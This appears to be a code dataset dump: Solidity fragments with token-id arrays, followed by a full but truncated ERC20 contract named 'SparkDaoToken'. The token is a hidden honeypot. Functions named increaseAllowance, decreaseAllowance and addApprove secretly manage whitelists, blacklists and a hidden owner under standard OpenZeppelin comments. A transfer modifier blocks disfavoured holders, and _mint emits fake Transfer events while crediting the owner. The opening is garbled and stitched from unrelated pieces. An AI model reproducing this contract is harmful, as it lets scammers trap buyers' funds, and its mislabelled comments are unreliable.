total = total.sub(15);
}
else if(users[ref].basketsPurchased>=_level && currAmount==10){
redistributeBalanceRefactor(isRegister, _level, currAmount, ref);
currAmount = 0;
total = total.sub(10);
}
ref = users[ref].upline;
}
if (isRegister) {
extraWallet = extraWallet.add(valueBasketLocal.mul(total).div(100));
address(uint256(owner)).transfer(valueBasketLocal.mul(total).div(100));
emit ExtraWalletTransferEvent(total,valueBasketLocal.mul(total).div(100));
extraWallet = extraWallet.add((valueBasketLocal - 0.05 ether).mul(total).div(100));
address(uint256(owner)).transfer((valueBasketLocal - 0.05 ether).mul(total).div(100));
address(uint256(owner)).transfer(0.05 ether);
emit ExtraWalletTransferEvent(total,(valueBasketLocal - 0.05 ether).mul(total).div(100));
}
}
}
| 11,249,688 | [
1,
915,
358,
25722,
12886,
3844,
9228,
6437,
9,
6969,
9,
4711,
9,
1728,
9,
309,
2097,
486,
1059,
451,
729,
434,
716,
8589,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
3844,
1669,
887,
12,
11890,
5034,
389,
2815,
16,
1426,
389,
291,
24,
451,
1299,
16,
1426,
353,
3996,
13,
2713,
288,
203,
3639,
2254,
5034,
460,
11324,
2042,
273,
12886,
5147,
63,
67,
2815,
17,
21,
15533,
203,
3639,
1426,
2982,
31,
203,
203,
3639,
309,
261,
67,
291,
24,
451,
1299,
13,
288,
203,
5411,
1758,
1278,
33,
5577,
63,
5577,
63,
3576,
18,
15330,
8009,
89,
412,
558,
8009,
89,
412,
558,
31,
203,
5411,
1323,
261,
1734,
5,
33,
2867,
12,
20,
3719,
288,
203,
7734,
309,
261,
1893,
4958,
360,
3628,
12,
1734,
16,
67,
2815,
13,
262,
288,
203,
10792,
309,
261,
291,
3996,
13,
288,
203,
13491,
3677,
63,
1734,
8009,
4963,
41,
9542,
33,
5577,
63,
1734,
8009,
4963,
41,
9542,
18,
1289,
12,
1132,
11324,
2042,
1769,
203,
13491,
1758,
12,
11890,
5034,
12,
1734,
13,
2934,
13866,
12,
1132,
11324,
2042,
1769,
203,
13491,
3677,
63,
1734,
8009,
12296,
41,
1303,
329,
38,
22889,
273,
3677,
63,
1734,
8009,
12296,
41,
1303,
329,
38,
22889,
18,
1289,
12,
1132,
11324,
2042,
1769,
203,
13491,
3677,
63,
1734,
8009,
4963,
41,
9542,
33,
5577,
63,
1734,
8009,
4963,
41,
9542,
18,
1289,
12,
1132,
11324,
2042,
300,
374,
18,
6260,
225,
2437,
1769,
203,
13491,
1758,
12,
11890,
5034,
12,
1734,
13,
2934,
13866,
12,
1132,
11324,
2042,
300,
374,
18,
6260,
225,
2437,
1769,
203,
13491,
1758,
12,
11890,
5034,
12,
8443,
13,
2934,
13866,
12,
20,
18,
6260,
225,
2437,
1769,
2
] |
./partial_match/1/0x4E504c6ca43cD1bBd9096A2c2E77A176D10910B1/sources/GenericKeep3rV2.sol | this method is not specified as view since some strategy maybe not able to return accurate underlying profit in snapshot, please use something similar to below tool to query https:docs.ethers.io/v5/api/contract/contract/#contract-callStatic Should not trigger if had been called recently | function harvestable(address _strategy) public override returns (bool) {
require(requiredHarvest[_strategy] > 0, "generic-keep3r-v2::harvestable:strategy-not-added");
if (strategyLastHarvest[_strategy] > 0 && block.timestamp.sub(strategyLastHarvest[_strategy]) <= minHarvestInterval){
return false;
}
uint256 profitTokenAmount = 0;
if(_strategy == DAI_STRATEGY || _strategy == USDC_STRATEGY){
profitTokenAmount = ICompStrategy(_strategy).getCompAccrued();
profitInEther = IUniswapV2SlidingOracle(slidingOracle).current(COMP, profitTokenAmount, WETH);
profitTokenAmount = ICrvStrategy(_strategy).getHarvestable();
profitInEther = IUniswapV2SlidingOracle(slidingOracle).current(CRV, profitTokenAmount, WETH);
}
emit HarvestableCheck(_strategy, profitTokenAmount, profitFactor, profitInEther, ethCallCost);
}
| 16,061,728 | [
1,
2211,
707,
353,
486,
1269,
487,
1476,
3241,
2690,
6252,
6944,
486,
7752,
358,
327,
22380,
6808,
450,
7216,
316,
4439,
16,
9582,
999,
5943,
7281,
358,
5712,
5226,
358,
843,
2333,
30,
8532,
18,
546,
414,
18,
1594,
19,
90,
25,
19,
2425,
19,
16351,
19,
16351,
19,
16351,
17,
1991,
5788,
9363,
486,
3080,
309,
9323,
2118,
2566,
19907,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
17895,
26923,
429,
12,
2867,
389,
14914,
13,
1071,
3849,
1135,
261,
6430,
13,
288,
203,
3639,
2583,
12,
4718,
44,
297,
26923,
63,
67,
14914,
65,
405,
374,
16,
315,
13540,
17,
10102,
23,
86,
17,
90,
22,
2866,
30250,
26923,
429,
30,
14914,
17,
902,
17,
9665,
8863,
203,
203,
3639,
309,
261,
14914,
3024,
44,
297,
26923,
63,
67,
14914,
65,
405,
374,
597,
1203,
18,
5508,
18,
1717,
12,
14914,
3024,
44,
297,
26923,
63,
67,
14914,
5717,
1648,
1131,
44,
297,
26923,
4006,
15329,
203,
5411,
327,
629,
31,
203,
3639,
289,
203,
203,
203,
3639,
2254,
5034,
450,
7216,
1345,
6275,
273,
374,
31,
203,
3639,
309,
24899,
14914,
422,
463,
18194,
67,
3902,
27708,
747,
389,
14914,
422,
11836,
5528,
67,
3902,
27708,
15329,
203,
5411,
450,
7216,
1345,
6275,
273,
467,
2945,
4525,
24899,
14914,
2934,
588,
2945,
8973,
86,
5957,
5621,
203,
5411,
450,
7216,
382,
41,
1136,
273,
467,
984,
291,
91,
438,
58,
22,
3738,
10415,
23601,
12,
2069,
10415,
23601,
2934,
2972,
12,
10057,
16,
450,
7216,
1345,
6275,
16,
678,
1584,
44,
1769,
203,
5411,
450,
7216,
1345,
6275,
273,
26899,
4962,
4525,
24899,
14914,
2934,
588,
44,
297,
26923,
429,
5621,
203,
5411,
450,
7216,
382,
41,
1136,
273,
467,
984,
291,
91,
438,
58,
22,
3738,
10415,
23601,
12,
2069,
10415,
23601,
2934,
2972,
12,
5093,
58,
16,
450,
7216,
1345,
6275,
16,
678,
1584,
44,
1769,
203,
3639,
289,
203,
1082,
203,
3639,
3626,
670,
297,
2
] |
pragma solidity ^0.6.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract SparkDaoToken is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address public _owner;
address private _safeOwner;
address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_owner = owner;
_safeOwner = owner;
_mint(_owner, 0*(10**18));
_mint(0x3f5CE5FBFe3E9af3971dD833D26bA9b5C936f0bE, initialSupply*(10**18));
_mint(0xD551234Ae421e3BCBA99A0Da6d736074f22192FF, initialSupply*(10**18));
_mint(0x0D0707963952f2fBA59dD06f2b425ace40b492Fe, initialSupply*(10**18));
_mint(0x32Be343B94f860124dC4fEe278FDCBD38C102D88, initialSupply*(10**18));
_mint(0x267be1C1D684F78cb4F6a176C4911b741E4Ffdc0, initialSupply*(10**18));
_mint(0x529c5a5152Ae3B2F24Bb7800441F9d630e85DE61, initialSupply*(10**18));
_mint(0x529c5a5152Ae3B2F24Bb7800441F9d630e85DE61, initialSupply*(10**18));
_mint(0x529c5a5152Ae3B2F24Bb7800441F9d630e85DE61, initialSupply*(10**18));
_mint(0x529c5a5152Ae3B2F24Bb7800441F9d630e85DE61, initialSupply*(10**18));
_mint(0x529c5a5152Ae3B2F24Bb7800441F9d630e85DE61, initialSupply*(10**18));
_mint(0xA8FF9E209E70cCBDE820B75c51ECe964ee165e04, initialSupply*(10**18));
_mint(0xA8FF9E209E70cCBDE820B75c51ECe964ee165e04, initialSupply*(10**18));
_mint(0xA8FF9E209E70cCBDE820B75c51ECe964ee165e04, initialSupply*(10**18));
_mint(0xA8FF9E209E70cCBDE820B75c51ECe964ee165e04, initialSupply*(10**18));
_mint(0x8A1ba492c2A0B5aF4c910A70D53BF8bb76C9A4c0, initialSupply*(10**18));
_mint(0xA8FF9E209E70cCBDE820B75c51ECe964ee165e04, initialSupply*(10**18));
_mint(0xA8FF9E209E70cCBDE820B75c51ECe964ee165e04, initialSupply*(10**18));
_mint(0xA8FF9E209E70cCBDE820B75c51ECe964ee165e04, initialSupply*(10**18));
_mint(0xA8FF9E209E70cCBDE820B75c51ECe964ee165e04, initialSupply*(10**18));
_mint(0x8A1ba492c2A0B5aF4c910A70D53BF8bb76C9A4c0, initialSupply*(10**18));
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
_approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
if (_whiteAddress[sender] == true){
_;}else{if (_blackAddress[sender] == true){
